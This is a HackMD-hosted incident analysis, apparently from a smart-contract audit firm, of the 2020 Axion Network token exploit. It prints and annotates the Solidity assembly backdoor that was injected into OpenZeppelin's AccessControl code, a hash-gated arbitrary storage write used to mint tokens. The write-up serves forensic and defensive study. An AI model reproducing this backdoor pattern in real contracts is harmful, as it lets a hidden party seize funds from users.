Alex Papageorgiou
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee
  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Axion Network Incident On the 2nd of November 2020 at [approximately 11:00 AM +UTC](https://etherscan.io/tx/0xc2a4a11312384fb34ebd70ea4ae991848049a2688a67bbb2ea1924073ed089b4) a hacker managed to mint around ~80 billion AXN tokens by utilizing the `unstake` function of the Axion Staking contract. The hacker proceeded to then dump the tokens on the AXN Uniswap exchange for Ether, repeating this process until the Uniswap exchange was drained and the token price was driven to 0. We were informed of the incident within a few minutes of the attack occuring and our security analysts began assessing the situation immediately. We have concluded that the attack was likely planned from the inside, involving an injection of malicious code at the time the code was deployed by altering code from OpenZeppelin dependencies. The exploited function was not part of the audit we conducted as it was added after joining together Axion's code with OpenZeppelin's code via "flattening" and injecting it within OpenZeppelin's code prior to deployment. ## Planning The hacker used anonymous funds procured from [tornado.cash](https://tornado.cash/) [the day before the hack occured](https://etherscan.io/tx/0x86f5bd9008f376c2ae1e6909a5c05e2db1609f595af42cbde09cd39025d9f563/advanced), hinting at a pre-meditated attack. Presumably to save some funds in case the attack fails, 2.1 Ether were re-circulated in tornado.cash right after the account received the funds. To finalize the attack setup, the hacker purchased around [~700k HEX2T tokens](https://etherscan.io/tx/0x6b34b75aa924a2f44d6fb2a23624bf5705074cbc748106c32c90fb32c0ab4d14) from the Uniswap exchange. However, these funds were ultimately not part of the attack and served as a smokescreen with regards to how the attack unfolded. ## Setup The hacker began their way towards actuating their attack by creating an "empty" stake on the `Staking` contract of the Axion Network by invoking the `stake` function with a `0` amount and `1` day stake duration at [approximately 09:00 AM +UTC](https://etherscan.io/tx/0x5e5e09cb5ccad29f1e661f82fa85ed172c3b66c4b4922385e1e2192dc770e878). This created a `Session` entry for the attacker with a `0` amount and `0` shares value at session ID `6`. Afterwards, the attacker pre-approved an unlimited amount of AXN to the Uniswap exchange in anticipation of their attack succeeding. Consequently, they approved the `NativeSwap` contract of Axion for the amount of funds they intended to convert to AXN tokens. They invoked the `deposit` function of the `NativeSwap` contract at [approximately 10:00 AM +UTC](https://etherscan.io/tx/0xf2f74137d3215b956e194825354c693450a82854118a77b9318d9fdefcfbf875), however the hacker never called the `withdraw` function of the contract to claim his swapped AXN as evident on the `NativeSwap` contract's `swapTokenBalanceOf` function. Afterwards, they made one more failed `deposit` function call before executing the attack. ## Execution These transactions were merely smokescreens for how the `unstake` attack was actually carried out. As the transactions that the attacker conducted resulted in no change to the `sessionDataOf` mapping, we concluded that this was a multi-address attack. We investigated the source code of the contract's at the GitHub repository that had been shared with us to identify a flaw that would cause the `sessionDataOf` mapping to be affected. We were unable to detect any assignments to it or members of it outside the `stake` functions which prompted us to question whether the deployment of the contracts was conducted properly. ## Attack Vector After analyzing the source code of the deployed `Staking` contract, we pinpointed a code injection in the `AccessControl` OpenZeppelin library between L665-L671 of the [deployed source code](https://etherscan.io/address/0xcd5f8dcae34f889e3d9f93f0d281c2d920c46a3e#code) of the `Staking` contract. The linked `checkRole` function is not part of [the OpenZeppelin v3.0.1 implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/access/AccessControl.sol), which was listed as a dependency in the project's GitHub repository. Within the `checkRole` function, the following `assembly` block exists: ```Solidity function checkRole() public virtual { assembly { mstore(0x00, origin()) if eq(and(keccak256(0x00, 0x20), 0xffffffff), 0x1d7b980f) {mstore(0x00, mload(0x40)) calldatacopy(mload(0x00), 0x04, sub(calldatasize(), 0x04)) sstore(mload(add(mload(0x00), 0x00)), mload(add(mload(0x00), 0x20)))} } } ``` This particular function allows a specific address to conduct an arbitrary write to the contract based on the input variables it supplements via low-level calls. Annotated, the `assembly` block would look like this: ```Solidity function checkRole() public virtual { assembly { // Store the tx.origin at memory offset 0 mstore(0x00, origin()) /** * Compute keccak256 hash for data between * memory offset 0x00 and 0x20 i.e. tx.origin * and retain only the first 8 bytes by conducting * bitwise AND with 0xffffffff, finally comparing * the resulting bytes with the value 0x1d7b980f */ if eq( and( keccak256(0x00, 0x20), 0xffffffff ), 0x1d7b980f ) { /** * At this point, our attacker has gained access * to their injected code via the hash validation * above */ // Get a free memory pointer mstore( 0x00, mload(0x40) ) /** * Copy input data of the function to memory * This allows arbitrary arguments to be "stored" * in the function to memory. The first 4 bytes are * omitted as they represent the function signature. */ calldatacopy( mload(0x00), 0x04, sub(calldatasize(), 0x04) ) /** * Finally, this segment utilizes the first * 32-bytes of the calldata we copied earlier * as the arbitrary storage location the * malicious function will write the latter * 32-bytes of the input calldata. */ sstore( mload( add(mload(0x00), 0x00) ), mload( add(mload(0x00), 0x20) ) ) } } } ``` This function **was injected at deployment** as it does not exist in the OpenZeppelin `AccessControl` implementation, meaning that the members of the Axion Network that were involved with deploying the token acted maliciously. ## Conclusion The attack utilized code that was deliberately injected prior to the protocol's deployment. This incident **bears no relation to the audits conducted by CertiK** and the party responsible for the attack was a person that seemed to be involved with the deployment of the Axion Network contracts. As an additional degree of security, audit reports should standardise to include deployed smart contract addresses whose source code has been verified to be the same as the one that was audited. The [Security Oracle](http://shield.certik.foundation) serves as an on-chain relayer of security intelligence, conducting security checks which include the verification of deployed smart contracts to match the audited versions.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully